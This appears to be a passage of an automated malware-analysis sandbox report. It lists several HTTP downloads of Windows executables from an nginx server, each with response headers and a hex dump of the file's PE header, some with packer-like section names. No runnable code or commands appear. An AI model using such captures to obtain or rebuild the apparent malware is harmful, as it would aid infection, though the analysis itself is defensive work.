00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:00 GMTContent-Type: application/octet-streamContent-Length: 1917952Last-Modified: Fri, 26 Jul 2024 06:16:57 GMTConnection: keep-aliveETag: "66a33f59-1d4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4c 00 00 04 00 00 99 79 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 06 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 06 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 73 6d 6a 63 79 6e 70 00 30 1a 00 00 e0 31 00 00 2a 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6e 64 63 72 66 6d 61 00 10 00 00 00 10 4c 00 00 04 00 00 00 1e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4c 00 00 22 00 00 00 22 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:03 GMTContent-Type: application/octet-streamContent-Length: 1878528Last-Modified: Fri, 26 Jul 2024 06:16:22 GMTConnection: keep-aliveETag: "66a33f36-1caa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 26 2c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 2f 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 2e 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 64 64 7a 6a 73 68 6d 00 a0 19 00 00 a0 30 00 00 92 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 74 6d 6c 79 6b 72 7a 00 10 00 00 00 40 4a 00 00 04 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4a 00 00 22 00 00 00 88 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:05 GMTContent-Type: application/octet-streamContent-Length: 11267584Last-Modified: Thu, 25 Jul 2024 14:15:34 GMTConnection: keep-aliveETag: "66a25e06-abee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 2a a8 9c 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 29 00 ae 01 00 00 ea ab 00 00 1e 01 00 f6 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 80 ad 00 00 04 00 00 0d 07 03 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 10 0e 00 00 00 80 03 00 40 e0 a9 00 00 10 02 00 28 08 00 00 00 00 00 00 00 00 00 00 00 70 ad 00 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e3 01 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 53 03 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 ac 01 00 00 10 00 00 00 ae 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 10 01 00 00 00 c0 01 00 00 02 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 50 2b 00 00 00 d0 01 00 00 2c 00 00 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d 04 00 00 00 00 00 02 00 00 02 00 00 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 08 00 00 00 10 02 00 00 0a 00 00 00 e2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 f8 09 00 00 00 20 02 00 00 0a 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 90 1c 01 00 00 30 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 10 0e 00 00 00 50 03 00 00 10 00 00 00 f6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 60 00 00 00 00 60 03 00 00 02 00 00 00 06 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 70 03 00 00 02 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 e0 a9 00 00 80 03 00 00 e2 a9 00 00 0a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 00 00 00 00 70 ad 00 00 02 00 00 00 ec ab 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:15 GMTContent-Type: application/octet-streamContent-Length: 967168Last-Modified: Thu, 25 Jul 2024 14:15:18 GMTConnection: keep-aliveETag: "66a25df6-ec200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 fd 78 6c 84 9c 16 3f 84 9c 16 3f 84 9c 16 3f 57 ee 15 3e 88 9c 16 3f 57 ee 13 3e 2e 9c 16 3f 57 ee 12 3e 91 9c 16 3f 46 1d 12 3e 96 9c 16 3f 57 ee 17 3e 81 9c 16 3f 84 9c 17 3f 00 9c 16 3f 46 1d 13 3e d8 9c 16 3f 46 1d 15 3e 9c 9c 16 3f 77 1e 1f 3e 85 9c 16 3f 77 1e e9 3f 85 9c 16 3f 77 1e 14 3e 85 9c 16 3f 52 69 63 68 84 9c 16 3f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 93 b3 9e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 72 08 00 00 64 06 00 00 00 00 00 ba e1 02 00 00 10 00 00 00 90 08 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 0f 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 aa 09 00 3c 00 00 00 00 b0 0e 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 dc 50 00 00 b0 31 09 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 32 09 00 18 00 00 00 f0 30 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 18 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f6 70 08 00 00 10 00 00 00 72 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c 27 01 00 00 90 08 00 00 28 01 00 00 76 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f8 e7 04 00 00 c0 09 00 00 d0 04 00 00 9e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 b0 0e 00 00 02 00 00 00 6e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 dc 50 00 00 00 c0 0e 00 00 52 00 00 00 70 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:23 GMTContent-Type: application/octet-streamContent-Length: 401920Last-Modified: Thu, 25 Jul 2024 14:15:17 GMTConnection: keep-aliveETag: "66a25df5-62200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e8 67 9a 58 ac 06 f4 0b ac 06 f4 0b ac 06 f4 0b 7f 74 f7 0a a0 06 f4 0b 7f 74 f1 0a 05 06 f4 0b 7f 74 f0 0a b9 06 f4 0b 7f 74 f5 0a af 06 f4 0b ac 06 f5 0b 2e 06 f4 0b 6e 87 f0 0a be 06 f4 0b 6e 87 f1 0a f7 06 f4 0b 6e 87 f7 0a b4 06 f4 0b 5f 84 f1 0a ad 06 f4 0b 5f 84 f4 0a ad 06 f4 0b 5f 84 f6 0a ad 06 f4 0b 52 69 63 68 ac 06 f4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6b 5c a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 3a 02 00 00 f4 03 00 00 00 00 00 41 84 00 00 00 10 00 00 00 60 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 06 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 09 03 00 b8 00 00 00 78 0a 03 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 5c 20 00 00 48 df 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 df 02 00 18 00 00 00 88 de 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 02 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 31 02 00 00 10 00 00 00 32 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 7a 7a 5a 00 00 00 00 20 07 00 00 00 50 02 00 00 08 00 00 00 36 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 b2 00 00 00 60 02 00 00 b4 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 1c 03 00 00 20 03 00 00 0e 03 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c 20 00 00 00 40 06 00 00 22 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:25 GMTContent-Type: application/octet-streamContent-Length: 1464832Last-Modified: Thu, 25 Jul 2024 14:17:36 GMTConnection: keep-aliveETag: "66a25e80-165a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e8 67 9a 58 ac 06 f4 0b ac 06 f4 0b ac 06 f4 0b 7f 74 f7 0a a0 06 f4 0b 7f 74 f1 0a 05 06 f4 0b 7f 74 f0 0a b9 06 f4 0b 7f 74 f5 0a af 06 f4 0b ac 06 f5 0b 2e 06 f4 0b 6e 87 f0 0a be 06 f4 0b 6e 87 f1 0a f7 06 f4 0b 6e 87 f7 0a b4 06 f4 0b 5f 84 f1 0a ad 06 f4 0b 5f 84 f4 0a ad 06 f4 0b 5f 84 f6 0a ad 06 f4 0b 52 69 63 68 ac 06 f4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ba 5d a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 3a 02 00 00 2c 14 00 00 00 00 00 41 84 00 00 00 10 00 00 00 60 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 16 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 09 03 00 b8 00 00 00 78 0a 03 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 16 00 64 20 00 00 48 df 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 df 02 00 18 00 00 00 88 de 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 02 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 31 02 00 00 10 00 00 00 32 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 7a 7a 5a 00 00 00 00 20 07 00 00 00 50 02 00 00 08 00 00 00 36 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 b2 00 00 00 60 02 00 00 b4 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 54 13 00 00 20 03 00 00 46 13 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 64 20 00 00 00 80 16 00 00 22 00 00 00 38 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:37 GMTContent-Type: application/octet-streamContent-Length: 311296Last-Modified: Thu, 25 Jul 2024 14:48:36 GMTConnection: keep-aliveETag: "66a265c4-4c000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 42 18 05 bd 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ec 02 00 00 d0 01 00 00 00 00 00 c6 b9 02 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 b9 02 00 4f 00 00 00 00 20 03 00 c4 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 58 b9 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac e9 02 00 00 20 00 00 00 ec 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c4 c9 01 00 00 20 03 00 00 cc 01 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 05 00 00 04 00 00 00 bc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 